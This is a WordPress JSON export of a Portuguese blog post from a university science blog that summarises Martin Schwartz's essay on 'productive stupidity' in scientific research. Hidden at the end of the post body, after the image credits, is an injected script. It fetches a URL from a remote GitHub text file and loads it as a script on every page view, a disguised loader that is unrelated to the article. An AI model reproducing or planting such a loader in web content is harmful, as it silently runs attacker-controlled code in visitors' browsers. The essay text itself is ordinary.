{"id":877,"date":"2020-09-02T22:39:22","date_gmt":"2020-09-03T01:39:22","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=877"},"modified":"2024-10-07T15:29:28","modified_gmt":"2024-10-07T18:29:28","slug":"para-ser-cientista-voce-precisa-nao-saber-as-respostas","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/09\/02\/para-ser-cientista-voce-precisa-nao-saber-as-respostas\/","title":{"rendered":"Para ser cientista voc\u00ea precisa n\u00e3o saber as respostas"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #000000;\">H\u00e1 alguns anos, li pela primeira vez o texto \u201c<a href=\"https:\/\/jcs.biologists.org\/content\/121\/11\/1771\"><em>The importance of stupidity in scientific research<\/em><\/a>\u201d (A import\u00e2ncia da estupidez na pesquisa cient\u00edfica, em tradu\u00e7\u00e3o livre), escrito por Martin A. Schwartz e publicado no peri\u00f3dico cient\u00edfico Journal of Cell Science. Desde ent\u00e3o, minha percep\u00e7\u00e3o sobre ser cientista se tornou diferente. Este \u00e9 um daqueles textos que comentam sobre o \u00f3bvio ao qual voc\u00ea nunca parou para pensar sobre.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-883 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/illustration_small-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/illustration_small-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/illustration_small-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/illustration_small.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Martin nos conta que encontrou uma amiga do doutorado, que lhe disse que desistiu da p\u00f3s-gradua\u00e7\u00e3o e se tornou advogada porqu\u00ea estava cansada de se sentir est\u00fapida todos os dias. E depois disso, ele percebeu que tamb\u00e9m se sentia assim. A explica\u00e7\u00e3o dele \u00e9 que quando estamos na escola, por exemplo, ser bom em Ci\u00eancias significa responder as perguntas corretamente nas provas. Ele diz: \u201cSe voc\u00ea conhece essas respostas, voc\u00ea se sai bem e se sente inteligente\u201d.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Deixo voc\u00eas agora com as palavras de Martin (em tradu\u00e7\u00e3o livre), contando a hist\u00f3ria que o fez perceber sua profiss\u00e3o de cientista de uma maneira diferente:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">\u201cUm doutorado, no qual voc\u00ea tem que fazer um projeto de pesquisa, \u00e9 uma coisa totalmente diferente. Para mim, foi uma tarefa dif\u00edcil. Como eu poderia formular as quest\u00f5es que levariam \u00e0 descobertas significativas; planejar e interpretar um experimento de modo que as conclus\u00f5es fossem absolutamente convincentes; prever as dificuldades e encontrar meios de contorn\u00e1-las ou, na falta disso, resolv\u00ea-las quando surgirem? O meu projeto do doutorado era um tanto interdisciplinar e, por um tempo, sempre que havia um problema, importunava os professores do meu departamento que eram especialistas nas v\u00e1rias disciplinas de que precisava. Lembro-me do dia em que Henry Taube (que ganhou o Pr\u00eamio Nobel dois anos depois) me disse que n\u00e3o sabia como resolver o problema que eu estava tendo em sua \u00e1rea. Eu era um estudante de p\u00f3s-gradua\u00e7\u00e3o do terceiro ano e Taube sabia cerca de 1000 vezes mais do que eu (estimativa conservadora). Se ele n\u00e3o tivesse a resposta, ningu\u00e9m tinha.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-882 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/productpage_illustrations-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/productpage_illustrations-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/productpage_illustrations-1024x769.jpg 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/productpage_illustrations-768x577.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/productpage_illustrations-1536x1153.jpg 1536w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/productpage_illustrations.jpg 1574w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Foi ent\u00e3o que me dei conta: <strong>ningu\u00e9m sabia<\/strong>. Por isso era um problema de pesquisa. E sendo\u00a0<strong><em>meu<\/em><\/strong>\u00a0problema de pesquisa, cabia a <strong><em>mim<\/em><\/strong> resolv\u00ea-lo. Depois de enfrentar esse fato, resolvi o problema em alguns dias. (N\u00e3o foi realmente muito dif\u00edcil; eu apenas tive que tentar algumas coisas.) A li\u00e7\u00e3o crucial foi que a quantidade de coisas que eu n\u00e3o sabia n\u00e3o era apenas vasta; era, para todos os efeitos pr\u00e1ticos, infinita. Essa percep\u00e7\u00e3o, em vez de ser desanimadora, foi libertadora. <strong>Se nossa ignor\u00e2ncia \u00e9 infinita, o \u00fanico curso de a\u00e7\u00e3o poss\u00edvel \u00e9 nos arrastarmos da melhor maneira poss\u00edvel.<\/strong>\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Este \u00e9 o \u00f3bvio que talvez voc\u00ea nunca parou para refletir sobre. Ser cientista, na verdade, n\u00e3o \u00e9 saber as respostas, \u00e9 procurar responder perguntas que ainda n\u00e3o foram respondidas e explicar fen\u00f4menos que ainda n\u00e3o foram compreendidos. Voc\u00ea j\u00e1 deve ter ouvido a frase cl\u00e1ssica daquela propaganda de TV: \u201cas perguntas movem o mundo\u201d. Para Martin, ser movido pela busca de respostas \u00e9 ser um \u201cest\u00fapido produtivo\u201d. E se voc\u00ea n\u00e3o se sente est\u00fapido, voc\u00ea n\u00e3o est\u00e1 realmente tentando, afinal, ningu\u00e9m sabe todas as respostas.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Deixarei que Martin explique para voc\u00eas:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-884 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/cadre_dribbble-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/cadre_dribbble-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/cadre_dribbble-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/09\/cadre_dribbble.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>\u201cEstupidez produtiva significa ser ignorante por escolha.\u00a0Focar em quest\u00f5es importantes nos coloca na posi\u00e7\u00e3o inc\u00f4moda de ser ignorantes.\u00a0Uma das coisas bonitas sobre a Ci\u00eancia \u00e9 que ela nos permite trope\u00e7ar, errando sempre, e nos sentirmos perfeitamente bem, contanto que aprendamos algo a cada vez.\u00a0Sem d\u00favida, isso pode ser dif\u00edcil para alunos que est\u00e3o acostumados a obter as respostas certas.\u00a0Sem d\u00favida, n\u00edveis razo\u00e1veis \u200b\u200bde confian\u00e7a e resili\u00eancia emocional ajudam, mas acho que a educa\u00e7\u00e3o cient\u00edfica pode fazer mais para facilitar o que \u00e9 uma transi\u00e7\u00e3o muito grande: aprender o que outras pessoas uma vez descobriram para fazer suas pr\u00f3prias descobertas.\u00a0Quanto mais \u00e0 vontade nos sentimos sendo est\u00fapidos, mais nos aprofundamos no desconhecido e mais prov\u00e1vel que fa\u00e7amos grandes descobertas.\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Afinal, \u00e9 a vontade de saber sobre o que se desconhece que motiva a busca por conhecimento!<\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">Texto escrito por Msc. Matheus Galv\u00e3o Brito &#8211; publicado em setembro de 2020<\/span><\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">Imagem Destaque:<\/span> <a href=\"https:\/\/dribbble.com\/shots\/7188310-FAQ-Illustration-for-Pharma\/attachments\/187339?mode=media\">FAQ llustration for Pharma<\/a> <span style=\"color: #000000;\">por Ju Jung<\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 1: <a href=\"https:\/\/dribbble.com\/shots\/3515100--Business-Illustration\">Business illustration<\/a> by Natiele Kirejczyk<\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 2:<\/span> <a href=\"https:\/\/dribbble.com\/shots\/6243033-Idea\">Idea!<\/a> <span style=\"color: #000000;\">por Pawel Olek<\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 3: <a href=\"https:\/\/dribbble.com\/shots\/5677441-Thinking-Outside-the-Framework\">Thinking Outside the Framework<\/a> por Gaspart<\/span><script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>H\u00e1 alguns anos, li pela primeira vez o texto \u201cThe importance of stupidity in scientific research\u201d (A import\u00e2ncia da estupidez na pesquisa cient\u00edfica, em tradu\u00e7\u00e3o livre), escrito por Martin A. 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